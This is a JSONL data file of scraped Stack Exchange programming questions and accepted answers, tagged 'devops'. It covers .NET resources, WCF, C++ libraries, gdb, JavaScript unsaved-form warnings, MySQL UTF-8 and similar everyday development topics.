{"id": "hf_f2db31410d49", "question": "<p>How do I loop into all the resources in the resourcemanager?</p>\n\n<p>Ie:\nforeach (string resource in ResourceManager)\n  //Do something with the recource.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Use ResourceManager.\nGetResourceSet\n() for a list of all resources for a given culture. The returned ResourceSet implements IEnumerable (you can use foreach).\nTo answer Nico's question: you can count the elements of an\n```\nIEnumerable\n```\nby casting it to the generic\n```\nIEnumerable<object>\n```\nand use the\n```\nEnumerable.Count<T>()\n```\nextension method, which is new in C# 3.5:\n```\n```\nusing System.Linq;\n\n...\n\nvar resourceSet = resourceManager.GetResourceSet(..);\nvar count = resSet.Cast<object>().Count();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.492349"}
{"id": "hf_a74f2a889ed0", "question": "<p>I need to create a user control in either vb.net or c# to search a RightNow CRM database. I have the documentation on their XML API, but I'm not sure how to post to their parser and then catch the return data and display it on the page.</p>\n\n<p>Any sample code would be greatly appreciated!</p>\n\n<p>Link to API: <a href=\"http://community.rightnow.com/customer/documentation/integration/82_crm_integration.pdf\" rel=\"nofollow noreferrer\">http://community.rightnow.com/customer/documentation/integration/82_crm_integration.pdf</a></p>\n", "question_body": "", "answer": "I don't know RightNow CRM, but according to the documentation you can send the XML requests using HTTP post. The simplest way to do this in .NET is using the WebClient class. Alternatively you might want to take a look at the HttpWebRequest/HttpWebResponse classes. Here is some sample code using WebClient:\n```\n```\nusing System.Net;\nusing System.Text;\nusing System;\n\nnamespace RightNowSample\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            string serviceUrl = \"http://<your_domain>/cgi-bin/<your_interface>.cfg/php/xml_api/parse.php\";\n            WebClient webClient = new WebClient();\n            string requestXml = \n@\"<connector>\n<function name=\"\"ans_get\"\">\n<parameter name=\"\"args\"\" type=\"\"pair\"\">\n<pair name=\"\"id\"\" type=\"\"integer\"\">33</pair>\n<pair name=\"\"sub_tbl\"\" type='pair'>\n<pair name=\"\"tbl_id\"\" type=\"\"integer\"\">164</pair>\n</pair>\n</parameter>\n</function>\n</connector>\";\n\n            string secString = \"\";\n            string postData = string.Format(\"xml_doc={0}, sec_string={1}\", requestXml, secString);\n            byte[] postDataBytes = Encoding.UTF8.GetBytes(postData);\n\n            byte[] responseDataBytes = webClient.UploadData(serviceUrl, \"POST\", postDataBytes);\n            string responseData = Encoding.UTF8.GetString(responseDataBytes);\n\n            Console.WriteLine(responseData);\n        }\n    }\n}\n```\n```\nI have no access to RightNow CRM, so I could not test this, but it can serve as s tarting point for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.517581"}
{"id": "hf_d7ebeb5afa7d", "question": "<p>When creating a class library in C++, you can choose between dynamic (<code>.dll</code>, <code>.so</code>) and static (<code>.lib</code>, <code>.a</code>) libraries. What is the difference between them and when is it appropriate to use which?</p>\n", "question_body": "", "answer": "If your library is going to be shared among several executables, it often makes sense to make it dynamic to reduce the size of the executables.  Otherwise, definitely make it static.\nThere are several disadvantages of using a dll.  There is additional overhead for loading and unloading it.  There is also an additional dependency.  If you change the dll to make it incompatible with your executalbes, they will stop working.  On the other hand, if you change a static library, your compiled executables using the old version will not be affected.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.580853"}
{"id": "hf_b8de4d80c0fb", "question": "<p>Should it be on the development servers or a Subversion server?</p>\n\n<p>I suppose this could be expanded to any client-server version control system.</p>\n", "question_body": "", "answer": "The physical repository should be on a stable system that gets regular backups.\nGenerally, a development server does not fit this description... it may be acceptable to put the apache server on the dev server and host the files remotely on a stable, backed-up file server (though there are a number of pitfalls with this approach) if you are unable to get additional server resources. Hosting it on the dev server may be fine if you have an aggressive backup system to protect your code...\nJust keep in mind that dev servers are prone to configuration changes, being blown-away, or otherwise mucked with that could take down your repo at a critical moment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.605476"}
{"id": "hf_4330f99ea8e9", "question": "<p>If something goes wrong in a WCF REST call, such as the requested resource is not found, how can I play with the HTTP response code (setting it to something like HTTP 404, for example) in my OperationContract method?</p>\n", "question_body": "", "answer": "There is a\n```\nWebOperationContext\n```\nthat you can access and it has a\n```\nOutgoingResponse\n```\nproperty of type\n```\nOutgoingWebResponseContext\n```\nwhich has a\n```\nStatusCode\n```\nproperty that can be set.\n```\n```\nWebOperationContext ctx = WebOperationContext.Current;\nctx.OutgoingResponse.StatusCode = System.Net.HttpStatusCode.OK;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.630918"}
{"id": "hf_80958e8597ed", "question": "<p>I want to consume a web service over https from a java client.\nWhat steps will i need to take in order to do this?</p>\n", "question_body": "", "answer": "Really, there shouldn't much different from consuming a web service over HTTP. The big thing is that the process calling the web service will have to trust the server's SSL certificate. If the certificate was purchased from a well-known certificate-issuing authority, this usually isn't a problem. Otherwise, the client will want to either trust the root certificate, or the certificate associated with the server's fully qualified host name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.668385"}
{"id": "hf_ef1f03f88806", "question": "<p>So I have a small C# app that needs to periodically check the contents of directories on multiple machines on the network.  I thought I could just read \\hostname\\C$ as a directory path, but with the normal Directory class there doesn't seem to be a way to authenticate against the other servers so you can access the hidden share.\nI'm sure there's an easy way to do this that I've overlooked, but at the moment I'm a bit stumpted.</p>\n", "question_body": "", "answer": "From\nhttp://bytes.com/forum/thread689145.html\n:\nAll processes run in the context of a\nlogged-in user account. If you want to\nopen a file on another computer, your\napplication must be running in the\ncontext of a user that has permissions\nto open files on that machine. You can\ndo this with Impersonation.\nThe easiest way seems to be to give the current user appropriate rights on the other machines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.694325"}
{"id": "hf_f22f05090454", "question": "<p>I am looking for a way to convert a long string (from a dump), that represents hex values into a byte array.</p>\n\n<p>I couldn't have phrased it better than the person that posted <a href=\"http://www.experts-exchange.com/Programming/Programming_Languages/Java/Q_21062554.html\" rel=\"noreferrer\">the same question here</a>.</p>\n\n<p>But to keep it original, I'll phrase it my own way: suppose I have a string <code>\"00A0BF\"</code> that I would like interpreted as the</p>\n\n<pre><code>byte[] {0x00,0xA0,0xBf}\n</code></pre>\n\n<p>what should I do?</p>\n\n<p>I am a Java novice and ended up using <code>BigInteger</code> and watching out for leading hex zeros. But I think it is ugly and I am sure I am missing something simple. </p>\n", "question_body": "", "answer": "The Hex class in commons-codec should do that for you.\nhttp://commons.apache.org/codec/\n```\n```\nimport org.apache.commons.codec.binary.Hex;\n...\nbyte[] decoded = Hex.decodeHex(\"00A0BF\");\n// 0x00 0xA0 0xBF\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.731992"}
{"id": "hf_5b81d91b99d5", "question": "<p>I'm working on a client site who is using Umbraco as a CMS. I need to create a custom 404 error page. I've tried doing it in the IIS config but umbraco overrides that. </p>\n\n<p>Does anyone know how to create a custom 404 error page in Umbraco?\nIs there a way to create a custom error page for runtime errors?</p>\n", "question_body": "", "answer": "In\n```\n/config/umbracoSettings.config\n```\nmodify\n```\n<error404>1</error404>\n```\n\"\n1\n\" with the id of the page you want to show.\n```\n```\n<errors>\n   <error404>1</error404> \n</errors>\n```\n```\nOther ways to do it can be found at\nNot found handlers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.769656"}
{"id": "hf_9169df0480f6", "question": "<p>How can I find out which column and value is violating the constraint? The exception message isn't helpful at all:</p>\n\n<blockquote>\n  <p>Failed to enable constraints. One or\n  more rows contain values violating\n  non-null, unique, or foreign-key\n  constraints.</p>\n</blockquote>\n", "question_body": "", "answer": "There is a property called RowError you can check.\nSee\nhttp://dotnetdebug.net/2006/07/16/constraintexception-a-helpful-tip/\nEdited to add this link showing iteration of rows to see which had errors.\nhttp://www.devnewsgroups.net/group/microsoft.public.dotnet.framework.adonet/topic58812.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.819017"}
{"id": "hf_d7850d66a676", "question": "<p>In a servlet I do the following:</p>\n\n<pre><code>  Context context = new InitialContext();\n  value = (String) context.lookup(\"java:comp/env/propertyName\");\n</code></pre>\n\n<p>On an Apache Geronimo instance (WAS CE 2.1) how do i associate a value with the key <em>propertyName</em>?</p>\n\n<p>In Websphere AS 6 i can configure these properties for JNDI lookup under the \"Name Space Bindings\" page in the management console, but for the life of me I can find no way to do this in community edition on the web.</p>\n", "question_body": "", "answer": "One possibility is to add the properties to your web.xml file (in the WEB-INF directory), using one or more\n```\n<env-entry>\n```\ntags. For example, something like the following:\n```\n```\n<env-entry>\n   <description>My string property</descriptor>\n   <env-entry-name>propertyName</env-entry-name>\n   <env-entry-type>java.lang.String</env-entry-type>\n   <env-entry-value>Your string goes here</env-entry-value>\n</env-entry>\n```\n```\nEach env-entry tag declares a new environment variable that you can then access from the\n```\njava:comp/env\n```\ncontext.\nOnce you add the necessary\n```\nenv-entry\n```\n's you can use code similar to what you already posted to access these values. Mind you, I don't have Geronimo installed, so I don't know if there is any additional configuration that needs to be done in order to make this work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.843245"}
{"id": "hf_3dbab787c50c", "question": "<p>As a developer, how do you use gdb to track down bugs within your code?  What techniques tricks do you use to make your life easier?</p>\n", "question_body": "", "answer": "In general you find something that isn't how it should be, and work backwards until you understand why.\nThe most obvious is the most useful:  Setting a breakpoint on a function or line number and walking through the code line by line.\nAnother handy tip is to have show functions for all your structures/objects even if they are never used in your program, because you can run these functions from within gdb:\n```\n```\ngdb> p show_my_struct(struct)\n\nMy custom display of Foo:\n   ...\n```\n```\nWatchpoints can be really handy too, but may slow down your program a lot. These break the flow when the value of a variable or address changes.:\n```\n```\ngdb> watch foo\nWatchpoint4: foo\ngdb>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.902319"}
{"id": "hf_a83e0c4d7804", "question": "<p>I've got several modules containing functions, classes and templates that I keep in a directory called (hah!) 'reuse'. I know the content reasonably well, so to find a particular class or bit of code doesn't take too long, but it is slowly growing in size and I need some sensible method to store them for easy search &amp; retrieval.</p>\n\n<p>How should I do this?</p>\n\n<hr>\n\n<p>A related question can be found here: <a href=\"https://stackoverflow.com/questions/90300/in-house-full-text-search-engine-for-source-code-and-sql-scripts\">full text search for source code</a></p>\n", "question_body": "", "answer": "Group\nthe sources by\narea of use\n(network, security, text processing, etc); best in\ndirectories\nfor easier browsing.\nTag\nfunctions by adding\nkeywords\ninto the source documentation. Use an appropriate comment markup system (like javadoc) and create some kind of indexable docs.\nSearch\nby using some kind of full text search (grep -r, google desktop) on your sources.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.925878"}
{"id": "hf_98f5e6eed326", "question": "<p>I'm developing an application that is targeting the .NET 3.5 Framework. The application's setup installs the .NET <strong>2.0</strong> runtime on the target machine. So far I haven't had any issues with doing this, but I'm wondering what problems I'm going to have down the line. Do I <em>need</em> to be installing the <strong>3.5</strong> runtime?</p>\n\n<p>I must package the .NET runtime installer into our installation (no network install). The size of the runtime installer is the issue. The .NET 2.0 runtime installer is 23MBs (manageable), the .NET 3.0 runtime installer is 50MBs (getting big) and the .NET 3.5 runtime installer is 200MBs (yikes!). What the heck is in those extra 170MBs?</p>\n", "question_body": "", "answer": "This is a tough question to answer, because ultimately it depends on what .NET 3.5 features you are using.  If you are using some of the new libraries, such as LINQ, then yes, you'll need to install the 3.5 runtimes.  However, if you are just using some of the new syntatic sugars introduced in 3.5, you may not.  The reason for this is that .NET 3.5 is 100% compatible with the 2.0 CLR.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:34.960772"}
{"id": "hf_70a311e52d14", "question": "<p>I am trying to write a web service to spec and it requires a different response body depending on whether the method completes successfully or not. I have tried creating two different DataContract classes, but how can I return them and have them serialized correctly? </p>\n", "question_body": "", "answer": "If you are using a xml based binding, then I believe there is no way to do that. A simple solution in that case would to just have part of the message flag if there was a failure, and store the failure information somewhere if needed. For a JSON binding you may be able to use a method that returns an object, then return two different types of objects. If I remember correctly (which is rare), that is possible because the JavaScriptSerializer class uses reflection if the object is clean of serialization attributes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.011035"}
{"id": "hf_434f40d6a026", "question": "<p>I know there is a function somewhere that will accept a client rect and it will convert it into a window rect for you. I just can't find / remember it!</p>\n\n<p>Does anyone know what it is?</p>\n\n<p>It will do something similar to:</p>\n\n<pre><code>const CRect client(0, 0, 200, 200);\nconst CRect window = ClientRectToWindowRect(client);\nSetWindowPos(...)\n</code></pre>\n", "question_body": "", "answer": "You're probably thinking of\n```\nAdjustWindowRectEx()\n```\n. Keep in mind, this is intended for use when\ncreating\na window - there's no guarantee that it will produce an accurate set of window dimensions for an existing window; for that, use\n```\nGetWindowRect()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.072635"}
{"id": "hf_ecfb6270b8f3", "question": "<p>We have a typical web application that is essentially a data entry application with lots of screens some of which have some degree of complexity.  We need to provide that standard capability on making sure if the user forgets to click the \"Save\" button before navigating away or closing their browser they get a warning and can cancel (but only when there is unsaved or dirty data).</p>\n\n<p>I know the basics of what I've got to do-- in fact I'm sure I've done it all before over the years (tie in to onbeforeunload, track the \"dirty\" state of the page, etc...) but before I embark on coding this YET AGAIN, does anyone have some suggestions for libraries already out there (free or otherwise) that will help out?</p>\n", "question_body": "", "answer": "One piece of the puzzle:\n```\n```\n/**\n * Determines if a form is dirty by comparing the current value of each element\n * with its default value.\n *\n * @param {Form} form the form to be checked.\n * @return {Boolean} <code>true</code> if the form is dirty, <code>false</code>\n *                   otherwise.\n */\nfunction formIsDirty(form)\n{\n    for (var i = 0; i < form.elements.length; i++)\n    {\n        var element = form.elements[i];\n        var type = element.type;\n        if (type == \"checkbox\" || type == \"radio\")\n        {\n            if (element.checked != element.defaultChecked)\n            {\n                return true;\n            }\n        }\n        else if (type == \"hidden\" || type == \"password\" || type == \"text\" ||\n                 type == \"textarea\")\n        {\n            if (element.value != element.defaultValue)\n            {\n                return true;\n            }\n        }\n        else if (type == \"select-one\" || type == \"select-multiple\")\n        {\n            for (var j = 0; j < element.options.length; j++)\n            {\n                if (element.options[j].selected !=\n                    element.options[j].defaultSelected)\n                {\n                    return true;\n                }\n            }\n        }\n    }\n    return false;\n}\n```\n```\nAnd another\n:\n```\n```\nwindow.onbeforeunload = function(e)\n{\n    e = e || window.event;  \n    if (formIsDirty(document.forms[\"someFormOfInterest\"]))\n    {\n        // For IE and Firefox\n        if (e)\n        {\n            e.returnValue = \"You have unsaved changes.\";\n        }\n        // For Safari\n        return \"You have unsaved changes.\";\n    }\n};\n```\n```\nWrap it all up, and what do you get?\n```\n```\nvar confirmExitIfModified = (function()\n{\n    function formIsDirty(form)\n    {\n        // ...as above\n    }\n\n    return function(form, message)\n    {\n        window.onbeforeunload = function(e)\n        {\n            e = e || window.event;\n            if (formIsDirty(document.forms[form]))\n            {\n                // For IE and Firefox\n                if (e)\n                {\n                    e.returnValue = message;\n                }\n                // For Safari\n                return message;\n            }\n        };\n    };\n})();\n\nconfirmExitIfModified(\"someForm\", \"You have unsaved changes.\");\n```\n```\nYou'll probably also want to change the registration of the\n```\nbeforeunload\n```\nevent handler to use\n```\nLIBRARY_OF_CHOICE\n```\n's event registration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.187450"}
{"id": "hf_3f7eb1fbb417", "question": "<p>What is the longest string that can be created in .NET? The docs for the <code>String</code> class are silent on this question as far as I can see, so an authoritative answer might require some knowledge of internals. Would the maximum change on a 64-bit system?</p>\n\n<p>[This is asked more for curiosity than for practical use - I don't intend to create any code that uses gigantic strings!]</p>\n", "question_body": "", "answer": "Since the\n```\nLength\n```\nproperty of\n```\nSystem.String\n```\nis an\n```\nInt32\n```\n, I would guess that that the maximum length would be 2,147,483,647 chars (max\n```\nInt32\n```\nsize). If it allowed longer you couldn't check the Length since that would fail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.224706"}
{"id": "hf_f11bdc27ae92", "question": "<p>Which gets called first - the base constructor or \"other stuff here\"?</p>\n\n<pre><code>public class MyExceptionClass : Exception\n{\n    public MyExceptionClass(string message, string extrainfo) : base(message)\n    {\n        //other stuff here\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "I'd say base\nEDIT see:\nhttp://www.c-sharpcorner.com/UploadFile/rajeshvs/ConsNDestructorsInCS11122005010300AM/ConsNDestructorsInCS.aspx\nthere it says:\n```\n```\nusing System;\nclass Base\n{\n\npublic Base()\n{\n    Console.WriteLine(\"BASE 1\");\n}\npublic Base(int x)\n{\n    Console.WriteLine(\"BASE 2\");\n}\n}\n\nclass Derived : Base\n{\npublic Derived():base(10)\n{\n    Console.WriteLine(\"DERIVED CLASS\");\n}\n}\n\nclass MyClient\n{\npublic static void Main()\n{\n    Derived d1 = new Derived();\n}\n}\n```\n```\nThis program outputs\nBASE2\nDERIVED CLASS", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.249096"}
{"id": "hf_57a12db5a345", "question": "<p>Yup, long title.  I've been programming in PHP for the last 6 years or so for work and personal projects, but I've got an idea for a desktop app (which incidentally, uses a web REST api).</p>\n\n<p>I'm debating on how to approach this - I've got some experience in Java, C++, Perl and Python, but have never had the chance or opportunity to write and distribute an app to others of any significance.  </p>\n\n<p>The app will need to communicate with a REST API (with OAuth), as well as access the file system, and possibly do some image manipulation (encoding/resizing, but this is a nice to have). I've been thinking something on .NET, but AIR is a possibility too (though I really dont want a huge runtime hanging around, this will be a system-tray type app).</p>\n\n<p>I'm not looking for someone to write it, but I could use a nudge in the right direction. </p>\n", "question_body": "", "answer": "Being a Delphi programmer for years, you can do everything you want with it.\nI'm starting to use C# at work. It's a great language too, but for a distributed application. the .NET framework still stops me from using it for my personnal apps.\nIn my point of view, Delphi is a good option. You can look at Lazarus/Free Pascal if you want a free IDE.\nWith this option, you build your EXE and that's it. Ship the EXE to the customer and it's working. No need for DLL/framework thing to have on the computer.\nOf course, if you're using database stuff or third party DLL, you must ship the necessary stuff with it. But it's simplier than with VB with all the vbrunxx.dll, or with all .NET language.\nIt's my 2c... I think I'll be flamed for this! ;-)\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.288232"}
{"id": "hf_f2b177cef863", "question": "<p>How do I detect if my program runs in an Active Directory environment?</p>\n\n<p>I'm using C# and .Net 2.0</p>\n", "question_body": "", "answer": "One way might be to query the LOGONSERVER environmental variable.  That'll give the server name of your AD controller... Which, as far as I know, will be blank (or match current workstation? Not sure) if it isn't currently logged into a domain.\nExample Usage:\n```\n```\nstring ADServer = Environment.GetEnvironmentVariable(\"LOGONSERVER\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.351954"}
{"id": "hf_b9f25baf5964", "question": "<p>When I try to execute a view that includes tables from different schemas an ORA-001031 Insufficient privileges is thrown.  These tables have execute permission for the schema where the view was created.  If I execute the view's SQL Statement it works.  What am I missing?</p>\n", "question_body": "", "answer": "As the table owner you need to grant SELECT access on the underlying tables to the user you are running the SELECT statement as.\n```\n```\ngrant SELECT on TABLE_NAME to READ_USERNAME;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.479318"}
{"id": "hf_e7978d1e13cf", "question": "<p>The <a href=\"http://www.erlang.org/doc/\" rel=\"noreferrer\">Erlang documentation</a> contains the documentation of modules.</p>\n\n<p>Where can I find the documentation of the Erlang shell? (Which is not a module, I suppose.)</p>\n", "question_body": "", "answer": "This page in the documentation\nseems to be a starting point. Especially the link in it. Check also the\nfirst link\nin it, with the shell's manpage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.504190"}
{"id": "hf_cbbb550c7a3b", "question": "<p>I'm wondering which languages support (or don't support) native multithreading, and perhaps get some details about the implementation.  Hopefully we can produce a complete overview of this specific functionality.</p>\n", "question_body": "", "answer": "Older versions of C and C++ (namely, C89, C99, C++98, and C++03) have no support at all in the core language, although libraries such as POSIX threads are available for pretty much every platform in common user today.\nThe newest versions of C and C++, C11 and C++11, do have built-in threading support in the language, but it's an optional feature of C11, so implementations such as single-core embedded systems can choose not to support it while supporting the rest of C11 if they desire.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.551841"}
{"id": "hf_a8190a33b4cc", "question": "<p>It often happens that characters such as <em>é</em> gets transformed to <em>Ã©</em>, even though the collation for the MySQL DB, table and field is set to utf8_general_ci. The encoding in the <em>Content-Type</em> for the page is also set to UTF8.</p>\n<p>I know about utf8_encode/decode, but I'm not quite sure about where and how to use it.</p>\n<p>I have read the &quot;<a href=\"http://www.joelonsoftware.com/articles/Unicode.html\" rel=\"nofollow noreferrer\">The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)</a>&quot; article, but I need some MySQL / PHP specific pointers.</p>\n<p>How do I ensure that user entered data containing international characters doesn't get corrupted?</p>\n", "question_body": "", "answer": "On the first look at\nhttp://www.nicknettleton.com/zine/php/php-utf-8-cheatsheet\nI think that one important thing is missing (perhaps I overlooked this one).\nDepending on your MySQL installation and/or configuration you have to set the connection encoding so that MySQL knows what encoding you're expecting on the client side (meaning the client side of the MySQL connection, which should be you PHP script). You can do this by manually issuing a\n```\n```\nSET NAMES utf8\n```\n```\nquery prior to any other query you send to the MySQL server.\nIf your're using PDO on the PHP side you can set-up the connection to automatically issue this query on every (re)connect by using\n```\n```\n$db=new PDO($dsn, $user, $pass);\n$db->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, \"SET NAMES utf8\");\n```\n```\nwhen initializing your db connection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.581926"}
{"id": "hf_c5f8dfd8f37c", "question": "<p>In Java you can do <code>File.listFiles()</code> and receive all of the files in a directory.  You can then easily recurse through directory trees.</p>\n\n<p>Is there an analogous way to do this in Python?</p>\n", "question_body": "", "answer": "Straight from Python's Refererence Library\n```\n```\n>>> import glob\n>>> glob.glob('./[0-9].*')\n['./1.gif', './2.txt']\n>>> glob.glob('*.gif')\n['1.gif', 'card.gif']\n>>> glob.glob('?.gif')\n['1.gif']\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.715972"}
{"id": "hf_e0060b0773dd", "question": "<p>I am writing a web server in Java and I want it to support HTTP 1.1 Keep-Alive connections. But how can I tell when the client is done sending requests for a given connection? (like a double end-of-line or something). </p>\n\n<p>Lets see how stackoverflow handles this very obscure question -- answers for which, on Google, are mired in technical specifications and obscure language. I want a plain-english answer for a non-C programmer :)</p>\n\n<hr>\n\n<p>I see. that confirms my suspicion of having to rely on the SocketTimeoutException. But i wasn't sure if there was something i could rely on from the client that indicates it is done with the connection--which would allow me to close the connections sooner in most cases--instead of waiting for the timeout. Thanks</p>\n", "question_body": "", "answer": "You close it whenever you'd like.  The header indicates that the client would prefer you to leave the connection open, but that doesn't require the server to comply.  Most servers leave it open for about 5-10 seconds, some don't pay attention to it at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.749831"}
{"id": "hf_4ed6ba7e4aaa", "question": "<p>Can you define a macro that accesses a normal variable, but in a read-only fashion (other than defining it as a call to a function)? For example, can the VALUE macro in the following code be defined in such a way that the dostuff() function causes a compile error?</p>\n\n<pre><code>struct myobj {\n  int value;\n}\n\n/* This macro does not satisfy the read-only requirement */\n#define VALUE(o) (o)-&gt;value\n\n/* This macro uses a function, unfortunately */\nint getvalue(struct myobj *o) { return o-&gt;value; }\n#define VALUE(o) getvalue(o)\n\nvoid dostuff(struct myobj *foo) {\n   printf(\"The value of foo is %d.\\n\", VALUE(foo)); /* OK */\n   VALUE(foo) = 1; /* We want a compile error here */\n   foo-&gt;value = 1; /* This is ok. */\n}\n</code></pre>\n", "question_body": "", "answer": "If the variable is always numeric, this works:\n```\n```\n#define VALUE(x) (x+0)\n```\n```\nor in the context of your example,\n```\n```\n#define VALUE(x) (x->value+0)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:35.829739"}
